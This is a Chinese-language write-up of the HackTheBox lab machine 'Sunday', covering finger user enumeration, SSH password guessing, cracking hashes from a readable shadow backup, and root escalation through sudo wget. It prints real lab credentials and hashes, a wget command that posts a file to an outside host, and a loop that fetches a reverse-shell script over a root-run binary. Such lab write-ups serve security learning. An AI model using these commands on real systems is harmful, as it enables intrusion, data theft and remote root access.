Sunday-Writeup

概述 (Overview)

80235072.png

攻击链 (Kiillchain)

56261459.png

TTPs (Tactics, Techniques & Procedures)

  • nmapAutomator
  • finger-user-enum
  • hydra
  • linpeas
  • john

阶段1:枚举

老规矩,依然是 Nmap 开局,默认扫描只识别出了 79、111,全端口扫描识别出了 22022。

45814617.png
45844909.png

阶段2:工具及利用

阶段2.1:finger服务用户名枚举

更具 finger 服务在google上搜搜,发现相关文章,存在用户枚举:

https://pentestlab.blog/tag/finger/
https://touhidshaikh.com/blog/2018/04/29/finger-service-users-enumeration/

45871730.png

下载枚举 poc 脚本,进行枚举尝试: http://pentestmonkey.net/tools/finger-user-enum/finger-user-enum-1.0.tar.gz

47598895.png

随后根据字典枚举出存在记录的用户,组成一个新的用户字典,随后尝试 ssh 登录。

阶段2.2:用户名密码枚举

最终在多个密码尝试枚举失败后,尝试将用户名作为口令进行枚举,成功登录目标服务器:

48068357.png

口令组:sunny:sunday

在进行 ssh 登录时,提示: 找不到匹配的密钥交换方法,通过google尝试添加 -oKexAlgorithms=diffe-hellman-group-sha1 解决。
48433313.png

阶段2.3:备份文件哈希破解

首先查看当前服务器中存在哪些可登录用户:

sunny@sunday:~$ cat /etc/passwd
root:x:0:0:Super-User:/root:/usr/bin/bash
daemon:x:1:1::/:
bin:x:2:2::/usr/bin:
sys:x:3:3::/:
adm:x:4:4:Admin:/var/adm:
lp:x:71:8:Line Printer Admin:/usr/spool/lp:
uucp:x:5:5:uucp Admin:/usr/lib/uucp:
nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico
dladm:x:15:3:Datalink Admin:/:
smmsp:x:25:25:SendMail Message Submission Program:/:
listen:x:37:4:Network Admin:/usr/net/nls:
gdm:x:50:50:GDM Reserved UID:/:
zfssnap:x:51:12:ZFS Automatic Snapshots Reserved UID:/:/usr/bin/pfsh
xvm:x:60:60:xVM User:/:
mysql:x:70:70:MySQL Reserved UID:/:
openldap:x:75:75:OpenLDAP User:/:
webservd:x:80:80:WebServer Reserved UID:/:
postgres:x:90:90:PostgreSQL Reserved UID:/:/usr/bin/pfksh
svctag:x:95:12:Service Tag UID:/:
nobody:x:60001:60001:NFS Anonymous Access User:/:
noaccess:x:60002:60002:No Access User:/:
nobody4:x:65534:65534:SunOS 4.x NFS Anonymous Access User:/:
sammy:x:101:10:sammy:/export/home/sammy:/bin/bash
sunny:x:65535:1:sunny:/export/home/sunny:/bin/bash

在尝试看看是否存在 sudo 配置枚举(-l:列出目前用户可执行与无法执行的指令;)。

sunny@sunday:~$ sudo -l
User sunny may run the following commands on this host:
    (root) NOPASSWD: /root/troll

sunny@sunday:~/Downloads$ sudo /root/troll
testing
uid=0(root) gid=0(root)

大当前用户可以用 sudo 去运行 /root/troll,看结果应该是打印了 id 命令的结果。

查看 linpeas 输入信息,整理思路:

77581609.png

sammy 用户存在 ssh 登录痕迹。

77890116.png
存在一个不常见的 /backup 目录,且目录内容存在读取权限。
78007841.png

shadow.backup 目录中存在 sammy、sunny 用户的密码哈希:

sunny@sunday:/backup$ cat shadow.backup 
mysql:NP:::::::
openldap:*LK*:::::::
webservd:*LK*:::::::
postgres:NP:::::::
svctag:*LK*:6445::::::
nobody:*LK*:6445::::::
noaccess:*LK*:6445::::::
nobody4:*LK*:6445::::::
sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:6445::::::
sunny:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:17636::::::

$ hashcat -h | grep '\$5\$'                                                                                                                         
   7400 | sha256crypt $5$, SHA256 (Unix)                   | Operating System

通过 john 工具进行哈希破解:

78769832.png

两组哈希解出来了:

sunday           (?)
cooldude!        (?)

尝试切换到 sammy 用户,成功。

这里有一个小知识点,就是在 $ su - sammy 时,中间加 - 和不加是存在区别的。

85703921.png

> https://blog.51cto.com/nolinux/1267016

su  后面不加用户是默认切到 root
su  <user> 是不改变当前变量
su - <user> 是改变为切换到用户的变量
也就是说su只能获得root的执行权限,不能获得环境变量,而su - 是切换到<user>并获得<user>的环境变量及执行权限

成功在切换用户 sammy:cooldude!,后获取到 user flag
79048358.png

阶段3:权限提升

79204521.png

通过列举 sudo 的配置可以看到,当前用户运行免密已root身份执行wget

那么简单了,可以用 wget 做文件传递和读取。

如将 agent22.backup 内容发给远端: sudo wget --post-file=/backup/agent22.backup http://10.10.16.246:9900

79769833.png

同样的,直接读 /root/root.txt 可获得flag。

80187708.png

如果是要获得一个反弹shell的话,则可以将msf的马通过wget输出到 agent22.backup。但这里在尝试的时候发现获取成功,但执行后还是输出老的内容。

80836157.png
80936409.png
尝试将替换 -O 参数的位置,也无效。
80875017.png

最后想到的 Hackthebox 可能为了环境被人为破坏,可能加了定时任务去恢复文件这种东西。

尝试写一个条件竞争的bash,去和定时任务抢写入:$ for i in $(seq 1 50); do sudo wget http://10.10.16.246/reverse.sh -O /root/troll; sleep 1; done

成功获取到 root 的反弹shell。

81462504.png

参考